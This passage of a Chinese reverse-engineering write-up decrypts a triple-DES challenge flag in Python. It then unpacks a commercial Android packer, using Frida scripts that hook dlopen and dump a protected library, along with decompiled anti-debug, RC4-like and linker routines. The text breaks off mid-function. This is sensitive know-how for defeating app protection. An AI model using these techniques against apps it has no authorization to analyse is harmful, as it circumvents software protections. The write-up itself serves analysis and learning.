\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 | IP = [ 0x3A , 0x32 , 0x2A , 0x22 , 0x1A , 0x12 , 0x0A , 0x02 , 0x3C , 0x34 , 0x2C , 0x24 , 0x1C , 0x14 , 0x0C , 0x04 , 0x3E , 0x36 , 0x2E , 0x26 , 0x1E , 0x16 , 0x0E , 0x06 , 0x40 , 0x38 , 0x30 , 0x28 , 0x20 , 0x18 , 0x10 , 0x08 , 0x39 , 0x31 , 0x29 , 0x21 , 0x19 , 0x11 , 0x09 , 0x01 , 0x3B , 0x33 , 0x2B , 0x23 , 0x1B , 0x13 , 0x0B , 0x03 , 0x3D , 0x35 , 0x2D , 0x25 , 0x1D , 0x15 , 0x0D , 0x05 , 0x3F , 0x37 , 0x2F , 0x27 , 0x1F , 0x17 , 0x0F , 0x07 ] E = [ 32 , 1 , 2 , 3 , 4 , 5 , 4 , 5 , 6 , 7 , 8 , 9 , 8 , 9 , 10 , 11 , 12 , 13 , 12 , 13 , 14 , 15 , 16 , 17 , 16 , 17 , 18 , 19 , 20 , 21 , 20 , 21 , 22 , 23 , 24 , 25 , 24 , 25 , 26 , 27 , 28 , 29 , 28 , 29 , 30 , 31 , 32 , 1 ] P = [ 16 , 7 , 20 , 21 , 29 , 12 , 28 , 17 , 1 , 15 , 23 , 26 , 5 , 18 , 31 , 10 , 2 , 8 , 24 , 14 , 32 , 27 , 3 , 9 , 19 , 13 , 30 , 6 , 22 , 11 , 4 , 25 ] IPR = [ 40 , 8 , 48 , 16 , 56 , 24 , 64 , 32 , 39 , 7 , 47 , 15 , 55 , 23 , 63 , 31 , 38 , 6 , 46 , 14 , 54 , 22 , 62 , 30 , 37 , 5 , 45 , 13 , 53 , 21 , 61 , 29 , 36 , 4 , 44 , 12 , 52 , 20 , 60 , 28 , 35 , 3 , 43 , 11 , 51 , 19 , 59 , 27 , 34 , 2 , 42 , 10 , 50 , 18 , 58 , 26 , 33 , 1 , 41 , 9 , 49 , 17 , 57 , 25 ] SBOX = [ [ [ 14 , 4 , 13 , 1 , 2 , 15 , 11 , 8 , 3 , 10 , 6 , 12 , 5 , 9 , 0 , 7 ], [ 0 , 15 , 7 , 4 , 14 , 2 , 13 , 1 , 10 , 6 , 12 , 11 , 9 , 5 , 3 , 8 ], [ 4 , 1 , 14 , 8 , 13 , 6 , 2 , 11 , 15 , 12 , 9 , 7 , 3 , 10 , 5 , 0 ], [ 15 , 12 , 8 , 2 , 4 , 9 , 1 , 7 , 5 , 11 , 3 , 14 , 10 , 0 , 6 , 13 ] ], [ [ 15 , 1 , 8 , 14 , 6 , 11 , 3 , 4 , 9 , 7 , 2 , 13 , 12 , 0 , 5 , 10 ], [ 3 , 13 , 4 , 7 , 15 , 2 , 8 , 14 , 12 , 0 , 1 , 10 , 6 , 9 , 11 , 5 ], [ 0 , 14 , 7 , 11 , 10 , 4 , 13 , 1 , 5 , 8 , 12 , 6 , 9 , 3 , 2 , 15 ], [ 13 , 8 , 10 , 1 , 3 , 15 , 4 , 2 , 11 , 6 , 7 , 12 , 0 , 5 , 14 , 9 ] ], [ [ 10 , 0 , 9 , 14 , 6 , 3 , 15 , 5 , 1 , 13 , 12 , 7 , 11 , 4 , 2 , 8 ], [ 13 , 7 , 0 , 9 , 3 , 4 , 6 , 10 , 2 , 8 , 5 , 14 , 12 , 11 , 15 , 1 ], [ 13 , 6 , 4 , 9 , 8 , 15 , 3 , 0 , 11 , 1 , 2 , 12 , 5 , 10 , 14 , 7 ], [ 1 , 10 , 13 , 0 , 6 , 9 , 8 , 7 , 4 , 15 , 14 , 3 , 11 , 5 , 2 , 12 ] ], [ [ 7 , 13 , 14 , 3 , 0 , 6 , 9 , 10 , 1 , 2 , 8 , 5 , 11 , 12 , 4 , 15 ], [ 13 , 8 , 11 , 5 , 6 , 15 , 0 , 3 , 4 , 7 , 2 , 12 , 1 , 10 , 14 , 9 ], [ 10 , 6 , 9 , 0 , 12 , 11 , 7 , 13 , 15 , 1 , 3 , 14 , 5 , 2 , 8 , 4 ], [ 3 , 15 , 0 , 6 , 10 , 1 , 13 , 8 , 9 , 4 , 5 , 11 , 12 , 7 , 2 , 14 ] ], [ [ 2 , 12 , 4 , 1 , 7 , 10 , 11 , 6 , 8 , 5 , 3 , 15 , 13 , 0 , 14 , 9 ], [ 14 , 11 , 2 , 12 , 4 , 7 , 13 , 1 , 5 , 0 , 15 , 10 , 3 , 9 , 8 , 6 ], [ 4 , 2 , 1 , 11 , 10 , 13 , 7 , 8 , 15 , 9 , 12 , 5 , 6 , 3 , 0 , 14 ], [ 11 , 8 , 12 , 7 , 1 , 14 , 2 , 13 , 6 , 15 , 0 , 9 , 10 , 4 , 5 , 3 ] ], [ [ 12 , 1 , 10 , 15 , 9 , 2 , 6 , 8 , 0 , 13 , 3 , 4 , 14 , 7 , 5 , 11 ], [ 10 , 15 , 4 , 2 , 7 , 12 , 9 , 5 , 6 , 1 , 13 , 14 , 0 , 11 , 3 , 8 ], [ 9 , 14 , 15 , 5 , 2 , 8 , 12 , 3 , 7 , 0 , 4 , 10 , 1 , 13 , 11 , 6 ], [ 4 , 3 , 2 , 12 , 9 , 5 , 15 , 10 , 11 , 14 , 1 , 7 , 6 , 0 , 8 , 13 ] ], [ [ 4 , 11 , 2 , 14 , 15 , 0 , 8 , 13 , 3 , 12 , 9 , 7 , 5 , 10 , 6 , 1 ], [ 13 , 0 , 11 , 7 , 4 , 9 , 1 , 10 , 14 , 3 , 5 , 12 , 2 , 15 , 8 , 6 ], [ 1 , 4 , 11 , 13 , 12 , 3 , 7 , 14 , 10 , 15 , 6 , 8 , 0 , 5 , 9 , 2 ], [ 6 , 11 , 13 , 8 , 1 , 4 , 10 , 7 , 9 , 5 , 0 , 15 , 14 , 2 , 3 , 12 ] ], [ [ 13 , 2 , 8 , 4 , 6 , 15 , 11 , 1 , 10 , 9 , 3 , 14 , 5 , 0 , 12 , 7 ], [ 1 , 15 , 13 , 8 , 10 , 3 , 7 , 4 , 12 , 5 , 6 , 11 , 0 , 14 , 9 , 2 ], [ 7 , 11 , 4 , 1 , 9 , 12 , 14 , 2 , 0 , 6 , 10 , 13 , 15 , 3 , 5 , 8 ], [ 2 , 1 , 14 , 7 , 4 , 10 , 8 , 13 , 15 , 12 , 9 , 0 , 3 , 5 , 6 , 11 ] ] ] round_keys = [ 222483666014355 , 34094049895368 , 188087828272899 , 30798344234022 , 20170121439688 , 154109401428571 , 143409192342562 , 80501118078826 , 126994336798112 , 150086336645229 , 197956095638172 , 182733681792953 , 11125921617955 , 224782889413428 , 7453516311004 , 200667612718677 , 114350607846426 , 27979304443188 , 145503975706288 , 90448879766041 , 10827630596124 , 1245263770020 , 194907790650021 , 89110378318487 , 38106705338630 , 149997549266822 , 105755390509763 , 75540444135499 , 215007439009096 , 119720110503264 , 55615706156578 , 143051418949992 , 222483666014355 , 34094049895368 , 188087828272899 , 30798344234022 , 20170121439688 , 154109401428571 , 143409192342562 , 80501118078826 , 126994336798112 , 150086336645229 , 197956095638172 , 182733681792953 , 11125921617955 , 224782889413428 , 7453516311004 , 200667612718677 ] def dec2binary(dec): res = bin (dec)[ 2 :] length = len (res) if length < 4 : r = 4 - length else : r = length - 4 * (length / / 4 ) for i in range (r): res = \'0\' + res return res def hex_to_binary_str(hex_val, n): def byte2binary(val): ret = \\"{:08b}\\" . format (val) for i in range ( 8 - len (ret)): ret = \'0\' + ret return ret res = \\"\\" arr = bytearray( int .to_bytes(hex_val, n, \'little\' )) for i in range (n): res + = byte2binary(arr[i]) return res def binary_str_to_hex(bin_str): return hex ( int (bin_str, 2 ))[ 2 :] def IPExchange( input ): res = \\"\\" for i in range ( 64 ): res + = input [IP[i] - 1 ] return res def XOR(a, b): if len (a) ! = len (b): raise Exception( \\"something wrong\\" ) res = \\"\\" for i in range ( len (a)): if a[i] = = b[i]: res + = \'0\' else : res + = \'1\' return res def EExchange(right): res = \\"\\" for i in range ( 48 ): res + = right[E[i] - 1 ] return res def SExchange( input ): res = \\"\\" for i in range ( 0 , 48 , 6 ): row = int ( input [i]) * 2 + int ( input [i + 5 ]) col = int ( input [i + 1 ]) * 8 + int ( input [i + 2 ]) * 4 + int ( input [i + 3 ]) * 2 + int ( input [i + 4 ]) res + = dec2binary(SBOX[i / / 6 ][row][col]) return res def PExchange( input ): res = \\"\\" for i in range ( 32 ): res + = input [P[i] - 1 ] return res def IPRExchange( input ): res = \\"\\" for i in range ( 64 ): res + = input [IPR[i] - 1 ] return res def F(right, rk): tmp = EExchange(right) tmp = XOR(tmp, rk) res = SExchange(tmp) res = PExchange(res) return res def des_encrypt( input , key_start, mode): # mode: 0 -> enc, 1 -> dec tmp = IPExchange( input ) left = tmp[ 0 : 32 ] right = tmp[ 32 :] for i in range ( 16 ): middle = right if mode = = 0 : right = XOR(left, F(right, round_keys[key_start + i])) else : right = XOR(left, F(right, round_keys[key_start + 0xf - i])) left = middle cipher = right + left res = IPRExchange(cipher) return res def convert( input ): # input: hex val # dsc: 將hex val轉換成binary str, 左 -> 右 , 低 -> 高 res = \\"\\" for i in range ( 0x40 ): res + = str (( input & 1 )) input >> = 1 return res def convert_re( input ): res = \\"\\" for i in range ( 0x40 ): res = input [i] + res return res def convert2( input , bit): # input: hex val # dsc: 將hex val轉換成binary str, 左 -> 右 , 高 -> 低 res = \\"\\" for i in range (bit): res = str (( input & 1 )) + res input >> = 1 return res def convert_round_keys(): for i in range ( len (round_keys)): round_keys[i] = convert2(round_keys[i], 48 ) def encrypt( input ): input = convert( input ) # print(\\"convert input: \\", binary_str_to_hex(input)) enc = des_encrypt( input , 0 , 0 ) enc = des_encrypt(enc, 16 , 1 ) enc = des_encrypt(enc, 32 , 0 ) print ( \\"enc: \\" , binary_str_to_hex(enc)) return enc def decrypt( input ): input = convert2( input , 64 ) enc = des_encrypt( input , 0 , 1 ) enc = des_encrypt(enc, 16 , 0 ) enc = des_encrypt(enc, 32 , 1 ) res = convert_re(enc) return binary_str_to_hex(res) def to_flag( input ): res = \\"\\" for i in range ( 0 , len ( input ), 2 ): ch = chr ( int ( input [i: i + 2 ], 16 )) res = ch + res return res if __name__ = = \\"__main__\\" : convert_round_keys() # input = 0x3332317b67616c66 # input1 # input = 0x3231393837363534 # input2 # input = 0x7d39383736353433 # input3 # enc = encrypt(input) enc_data = [ 0x7C1A8B2E957A3115 , 0x4B43E13562FC5DE6 , 0x8346103AE93F945D ] flag = \\"\\" for e in enc_data: t = decrypt(e) flag + = to_flag(t) print ( \\"flag: \\" , flag) |
輸出flag:
\\n1 | flag: 52PojiEHaPpynEwY3ar2025 ! |
加固版本:2025/2/11 最新免费版
\\n第一步 :使用frida(最好魔改 不然有检测) 查看加载的so文件
\\nfunction main (){\\n Java.perform(\\n function(){\\n hook_dlopen();\\n }\\n );\\n}\\nsetImmediate(main)\\n\\n//刚注入的时候这个so还没加载,需要hook dlopen\\nfunction inline_hook() {\\n var base_hello_jni = Module.findBaseAddress(\\"libxx.so\\");\\n console.log(\\"base_hello_jni:\\", base_hello_jni);\\n if (base_hello_jni) {\\n console.log(base_hello_jni);\\n //inline hook\\n var addr_07320 = base_hello_jni.add(0x2E637);//指令执行的地址,不是变量所在的栈或堆\\n Interceptor.attach(addr_07320, {\\n onEnter: function (args) {\\n console.log(\\"addr_07320 R0 R3:\\", this.context.r0,this.context.r3);//注意这里是怎么得到寄存器值的\\n }, onLeave: function (retval) {\\n }\\n });\\n }\\n}\\n\\n//8.0以下所有的so加载都通过dlopen\\nfunction hook_dlopen() {\\n var dlopen = Module.findExportByName(null, \\"dlopen\\");\\n Interceptor.attach(dlopen, {\\n onEnter: function (args) {\\n this.call_hook = false;\\n var so_name = ptr(args[0]).readCString();\\n console.log(\\"dlopen:\\", ptr(args[0]).readCString());\\n\\n }, onLeave: function (retval) {\\n if (this.call_hook) {//dlopen函数找到了就hook so\\n inline_hook();\\n }\\n }\\n });\\n // 高版本Android系统使用android_dlopen_ext\\n var android_dlopen_ext = Module.findExportByName(null, \\"android_dlopen_ext\\");\\n Interceptor.attach(android_dlopen_ext, {\\n onEnter: function (args) {\\n this.call_hook = false;\\n var so_name = ptr(args[0]).readCString();\\n console.log(\\"dlopen:\\", ptr(args[0]).readCString());\\n\\n }, onLeave: function (retval) {\\n if (this.call_hook) {\\n\\n inline_hook();\\n }\\n }\\n });\\n}\\n\\nfunction log(msg){\\n console.log(msg);\\n}\\n\\n
打印出来所有加载的so文件了:
\\n[Calvin designers::com.calvin.check_tset ]-> dlopen: /data/data/com.calvin.check_tset/.jiagu/libjiagu_64.so
dlopen: liblog.so
dlopen: libz.so
dlopen: libc.so
dlopen: libm.so
dlopen: libstdc++.so
dlopen: libdl.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libart.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libjiagu_64.so
dlopen: libjgdtc.so
dlopen: /data/app/gUGk1sgfebPev2a5rxao2w==/com.calvin.check_tset-Kj54dsV2miW8iYUVx-eTmA==/lib/arm64/libcheck_tset.so
dlopen: /vendor/lib64/hw/android.hardware.graphics.mapper@4.0-impl-qti-display.so
dlopen: /vendor/lib64/hw/gralloc.lito.so
dlopen: libadreno_app_profiles.so
dlopen: libEGL_adreno.so
dlopen: /vendor/lib64/hw/android.hardware.graphics.mapper@4.0-impl-qti-display.so
dlopen: libadreno_utils.so
dlopen: libandroid.so
一眼观望全部so文件 , 接下来 把要分析的so文件 dump下来 看看 怎么回事
\\nfunction dump_so(so_name) {\\n var libso = Process.getModuleByName(so_name);\\n console.log(\\"[name]:\\", libso.name);\\n console.log(\\"[base]:\\", libso.base);\\n console.log(\\"[size]:\\", ptr(libso.size));\\n console.log(\\"[path]:\\", libso.path);\\n var file_path = \\"/data/data/\\"+get_self_process_name()+\\"/\\" + libso.name + \\"_\\" + libso.base + \\"_\\" + ptr(libso.size) + \\".so\\";\\n var file_handle = new File(file_path, \\"wb\\");\\n if (file_handle && file_handle != null) {\\n Memory.protect(ptr(libso.base), libso.size, \'rwx\');\\n var libso_buffer = ptr(libso.base).readByteArray(libso.size);\\n file_handle.write(libso_buffer);\\n file_handle.flush();\\n file_handle.close();\\n console.log(\\"[dump]:\\", file_path);\\n }\\n}\\n\\nsetImmediate(function() {\\n setTimeout(function() {\\n dump_so(\\"libjiagu_64.so\\");\\n \\n }, 5000); // 等待5秒后执行\\n});\\n\\n\\nfunction get_self_process_name() {\\n var openPtr = Module.getExportByName(\'libc.so\', \'open\');\\n var open = new NativeFunction(openPtr, \'int\', [\'pointer\', \'int\']);\\n\\n var readPtr = Module.getExportByName(\\"libc.so\\", \\"read\\");\\n var read = new NativeFunction(readPtr, \\"int\\", [\\"int\\", \\"pointer\\", \\"int\\"]);\\n\\n var closePtr = Module.getExportByName(\'libc.so\', \'close\');\\n var close = new NativeFunction(closePtr, \'int\', [\'int\']);\\n\\n var path = Memory.allocUtf8String(\\"/proc/self/cmdline\\");\\n var fd = open(path, 0);\\n if (fd != -1) {\\n var buffer = Memory.alloc(0x1000);\\n\\n var result = read(fd, buffer, 0x1000);\\n close(fd);\\n result = ptr(buffer).readCString();\\n return result;\\n }\\n\\n return \\"-1\\";\\n}\\n\\n
dump 下来的so是需要修复滴 使用so_fixer
\\n\\n修复完毕后 就可以显示 全部的符号信息了
\\n现在 我们需要了解程序运行 调用的流程 也就是 函数 trace
\\n这里使用 oacia 佬的方案
\\n\\n打印 so函数的流程:
\\ncall1:JNI_OnLoad
call2:j_interpreter_wrap_int64_t
call3:interpreter_wrap_int64_t
call4:_Znwm
call5:sub_1362C
call6:_Znam
call7:sub_10F54
call8:memset
call9:sub_9C50
call10:sub_E114
call11:calloc
call12:malloc
call13:free
call14:sub_E37C
call15:_ZdaPv
call16:sub_C680
call17:sub_CB38
call18:sub_9800
call19:sub_97DC
call20:sub_CCA8
call21:sub_C86C
call22:sub_993C
call23:sub_1591C
call24:sub_16094
call25:sub_16160
call26:sub_15C94
call27:sub_16954
call28:sub_15D14
call29:sub_159F0
call30:sub_1595C
call31:sub_9778
call32:sub_CB90
call33:sub_CD8C
call34:sub_CAD8
call35:sub_91E0
call36:dladdr
call37:strstr
call38:setenv
call39:_Z9__arm_a_1P7_JavaVMP7_JNIEnvPvRi
call40:sub_9CD0
call41:sub_9814
call42:sub_10698
call43:j__ZdlPv_1
call44:_ZdlPv
call45:sub_9558
call46:sub_7D00 //这里存在 so字符串
call47:__strncpy_chk2
call48:sub_5ACC
call49:sub_5F30
call50:sub_46A0
call51:sub_5B14
call52:_ZN9__arm_c_19__arm_c_0Ev
call53:sub_A228
call54:sub_9844
call55:sub_97BC
call56:sub_CF24
call57:sub_5E70
call58:sub_5F7C
call59:memcpy
call60:sub_6084 //疑似 加密函数
call61:sub_5974
call62:j__ZdlPv_3
call63:j__ZdlPv_2
call64:j__ZdlPv_0
call65:sub_A1DC
call66:sub_9908
call67:sub_59CC
call68:sub_5A24 //疑似 rc4
call69:sub_9E58
call70:sub_307C
call71:uncompress //经典解压环节
call72:sub_CBF4
call73:sub_4538 // 这里好像 linker load
call74:sub_4D34
call75:sub_4DAC
call76:sub_543C //这里存在 异或加密
call77:sub_4F84
call78:sub_5140 // 存在 内存拷贝 权限修改
call79:mprotect
call80:__strlen_chk
call81:strncpy
call82:sub_379C // linker 加载
call83:dlopen
call84:sub_446C // 这里纯在 将 内存 区域 清零
call85:sub_3B54 // 链接有关
call86:sub_3D08 // 这里出现一些 疑似奇怪的检测
call87:sub_30B4
call88:dlsym
call89:strcmp
call90:sub_57A0 // 这里也是修改内存权限 为 可执行吧?
call91:sub_4D78
call92:sub_5D28
call93:sub_7E38
call94:sub_47BC
call95:sub_7F64
call96:sub_8854
call97:sub_8BE0
call98:sub_8138
call99:interpreter_wrap_int64_t_bridge
call100:sub_9BD8
call101:sub_15C0C
call102:puts
call103:_Z9__arm_a_2PcmS_Rii
这里 我一个步骤一个步骤的看 发现函数 sub_9558() 调用 kill() 自己 进程
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | v4 = sub_6F9C(); if ( (v4 & 1) != 0 ) { v5 = getpid(); v4 = kill(v5, 9); } v6 = sub_70A8(v4); v7 = sub_7204(v6); if ( (v7 & 1) != 0 ) { v8 = getpid(); v7 = kill(v8, 9); } result = sub_70A8(v7); v1 = qword_276180; |
第一个函数 :
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | FILE *sub_6F9C() { FILE *result; // x0 FILE *v1; // x19 char s[512]; // [xsp+8h] [xbp-248h] BYREF char v3[16]; // [xsp+208h] [xbp-48h] BYREF char filename[24]; // [xsp+218h] [xbp-38h] BYREF _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); *(_QWORD *)&filename[6] = \'\\\\xA5\\\\xD5\\\\xC6\\\\xD1\\\\x8A\\\\xD1\\\\xC0\\\\xCB\' ; *(_QWORD *)filename = \'\\\\xC0\\\\xCB\\\\x8A\\\\xC6\\\\xCA\\\\xD7\\\\xD5\\\\x8A\' ; *(_QWORD *)&v3[6] = 0xA5E49DE1909F9595LL; *(_QWORD *)v3 = 0x9595959595959595LL; sub_6554(filename, 14LL); sub_6554(v3, 14LL); memset (s, 0, sizeof (s)); result = fopen (filename, \\"r\\" ); if ( result ) { v1 = result; while ( ! feof (v1) ) { fgets (s, 512, v1); if ( strstr (s, v3) ) { fclose (v1); return ( FILE *)(&dword_0 + 1); } memset (s, 0, sizeof (s)); } fclose (v1); return 0LL; } return result; } |
字符串为加密 我们编写frida 打印一下
\\n发现 frida 未打印 这个函数也未运行那就不管啦
\\n在 sub_7D00 函数 里面居然出现了 so 这个字符串
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | __int64 sub_7D00() { __int64 v0; // x19 _QWORD v2[7]; // [xsp+10h] [xbp-140h] BYREF _QWORD v3[2]; // [xsp+48h] [xbp-108h] BYREF __int128 v4; // [xsp+58h] [xbp-F8h] _OWORD v5[8]; // [xsp+68h] [xbp-E8h] BYREF __int128 v6; // [xsp+E8h] [xbp-68h] __int128 v7; // [xsp+F8h] [xbp-58h] __int128 v8; // [xsp+108h] [xbp-48h] __int128 v9; // [xsp+118h] [xbp-38h] _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); v8 = 0u; v9 = 0u; v6 = 0u; v7 = 0u; memset (v5, 0, sizeof (v5)); v4 = 0u; _strncpy_chk2(( char *)v5 + 4, \\"*.so\\" , 128LL, 188LL, 5LL); v3[0] = &qword_2D260; v3[1] = 752309LL; *(_QWORD *)&v7 = off_2D178; LODWORD(v5[0]) = 1; *((_QWORD *)&v6 + 1) = &qword_E5178; DWORD2(v9) = 1; *((_QWORD *)&v7 + 1) = 0x400000002LL; LODWORD(v8) = 5; *((_QWORD *)&v8 + 1) = 0LL; *(_QWORD *)&v9 = 0LL; sub_5ACC(v2); v2[0] = ( char *)off_2CF48 + 16; v0 = 0LL; if ( (sub_5F30(v2, ( char *)&qword_E4D10 + 5, 1062LL) & 1) != 0 ) { v0 = sub_46A0(v3, v2); if ( *((_QWORD *)&v8 + 1) ) free (*(( void **)&v8 + 1)); } sub_5D28(v2); return v0; } |
在之后 还遇到 一道类似加密算法的sub_6084函数:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | _BYTE *__fastcall sub_6084( __int64 a1) { unsigned int v2; // w20 _BYTE *result; // x0 _BYTE *v4; // x10 unsigned int v5; // w8 int v6; // w11 int v7; // [xsp+8h] [xbp-48h] int v8; // [xsp+Ch] [xbp-44h] int v9; // [xsp+10h] [xbp-40h] int v10; // [xsp+14h] [xbp-3Ch] int v11; // [xsp+18h] [xbp-38h] int v12; // [xsp+1Ch] [xbp-34h] int v13; // [xsp+20h] [xbp-30h] int v14; // [xsp+24h] [xbp-2Ch] __int64 v15; // [xsp+28h] [xbp-28h] v15 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40); v2 = *(_DWORD *)(a1 + 4); result = (_BYTE *)operator new [](v2); v4 = *(_BYTE **)(a1 + 8); v5 = 0; v6 = 7; *(_QWORD *)(a1 + 24) = result; do { *(&v7 + v6) = ((unsigned __int8 )(*v4 ^ (*v4 >> 2) ^ (*v4 >> 4)) ^ (*v4 >> 6)) & 1; if ( v6 ) { --v6; } else { ++v5; v6 = 7; *result++ = ((_BYTE)v13 << 6) + ((_BYTE)v14 << 7) + 32 * v12 + 16 * v11 + 8 * v10 + 4 * v9 + 2 * v8 + v7; v4 = *(_BYTE **)(a1 + 8); v2 = *(_DWORD *)(a1 + 4); } *(_QWORD *)(a1 + 8) = ++v4; } while ( v5 <= v2 - 1 ); return result; |
//继续按照trace流程 观察 代码 (找到能看懂的部分 就行)
\\n发现一个类似 rc4 初始化算法的 部分 :
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | _BYTE *__fastcall sub_5A24(_BYTE *result, int a2, __int64 a3) { __int64 v3; // x9 char v4; // w11 unsigned __int8 v5; // w10 unsigned __int8 v6; // w11 char v7; // w13 _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); if ( a2 >= 1 ) { v3 = (unsigned int )a2; do { v4 = *(_BYTE *)(a3 + 257); --v3; v5 = *(_BYTE *)(a3 + 256) + 2; *(_BYTE *)(a3 + 256) = v5; v6 = *(_BYTE *)(a3 + v5) + v4 + 1; *(_BYTE *)(a3 + 257) = v6; v7 = *(_BYTE *)(a3 + v5); *(_BYTE *)(a3 + v5) = *(_BYTE *)(a3 + v6); *(_BYTE *)(a3 + v6) = v7; *result++ ^= *(_BYTE *)(a3 + (unsigned __int8 )(*(_BYTE *)(a3 + *(unsigned __int8 *)(a3 + 257)) + *(_BYTE *)(a3 + *(unsigned __int8 *)(a3 + 256)))); } while ( v3 ); } return result; } |
这里大致把能看懂的 打了注释 整个流程已经了解的差不多了
\\n现在我们要解密 so文件 就需要深入的了解 自实现linker加载so 的原理
\\n参考: https://bbs.kanxue.com/thread-282316.htm
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | // 1. 讀取so文件 if (!Read(path, fd, 0, sb.st_size)){ LOGD( \\"Read so failed\\" ); munmap(start_addr_, sb.st_size); close(fd); } // 2. 載入so if (!Load()) { LOGD( \\"Load so failed\\" ); munmap(start_addr_, sb.st_size); close(fd); } // 使被加載的so有執行權限, 否則在調用.init_array時會報錯 mprotect( reinterpret_cast < void *>(load_bias_), sb.st_size, PROT_READ | PROT_WRITE | PROT_EXEC); // 3. 預鏈接, 主要處理 .dynamic節 si_->prelink_image(); // 4. 正式鏈接, 在這裡處理重定位的信息 si_->link_image(); // 5. 調用.init和.init_array si_->call_constructors(); |
流程大概是这样
\\n这个加固 把流程 已经混淆,我们需要 找到 关键函数 dump下来 才能完成修复
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 | void *__fastcall sub_379C( __int64 a1) { unsigned int v2; // w8 __int64 v3; // x20 unsigned __int64 *v4; // x11 __int64 v5; // x13 void *result; // x0 __int64 v7; // x13 __int64 v8; // x14 __int64 v9; // x15 __int64 v10; // x16 __int64 v11; // x16 unsigned __int64 v12; // t1 unsigned __int64 v13; // t1 unsigned __int64 v14; // t1 unsigned __int64 v15; // t1 unsigned __int64 v16; // t1 unsigned __int64 v17; // t1 unsigned __int64 v18; // t1 unsigned __int64 v19; // t1 unsigned __int64 v20; // t1 unsigned __int64 v21; // t1 unsigned __int64 v22; // t1 __int64 v23; // x13 __int64 v24; // x14 __int64 v25; // x15 unsigned __int64 v26; // t1 unsigned __int64 v27; // t1 unsigned __int64 v28; // t1 unsigned __int64 v29; // t1 unsigned __int64 v30; // t1 unsigned int v31; // w23 _QWORD *v32; // x24 __int64 v33; // x8 const char *v34; // x20 __int64 v35; // x9 v2 = 0; _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); v3 = *(_QWORD *)(a1 + 256); v4 = (unsigned __int64 *)(v3 + 8); while ( 2 ) { v5 = *(v4 - 1); result = 0LL; switch ( v5 ) { case 0LL: if ( !*(_QWORD *)(a1 + 272) || !*(_QWORD *)a1 ) return 0LL; *(_DWORD *)(a1 + 456) = v2; result = calloc (1uLL, 144LL * v2); *(_QWORD *)(a1 + 464) = result; if ( !result ) return result; v31 = 0; v32 = (_QWORD *)(v3 + 8); break ; case 1LL: ++v2; v4 += 2; continue ; case 2LL: v19 = *v4; v4 += 2; *(_QWORD *)(a1 + 296) = v19 / 0x18; continue ; case 3LL: case 14LL: case 15LL: case 19LL: case 21LL: case 24LL: case 29LL: case 31LL: goto LABEL_2; case 4LL: *(_BYTE *)(a1 + 40) = 1; v23 = *(_QWORD *)(a1 + 400); v24 = *(unsigned int *)(*v4 + v23); *(_QWORD *)(a1 + 8) = v24; v25 = *(unsigned int *)(*v4 + v23 + 4); v23 += 8LL; *(_QWORD *)(a1 + 24) = v25; *(_QWORD *)(a1 + 16) = v23 + *v4; v26 = *v4; v4 += 2; *(_QWORD *)(a1 + 32) = v23 + 4 * v24 + v26; continue ; case 5LL: v22 = *v4; v4 += 2; *(_QWORD *)(a1 + 272) = v22 + *(_QWORD *)(a1 + 400); continue ; case 6LL: v21 = *v4; v4 += 2; *(_QWORD *)a1 = v21 + *(_QWORD *)(a1 + 400); continue ; case 7LL: if ( *(_BYTE *)(a1 + 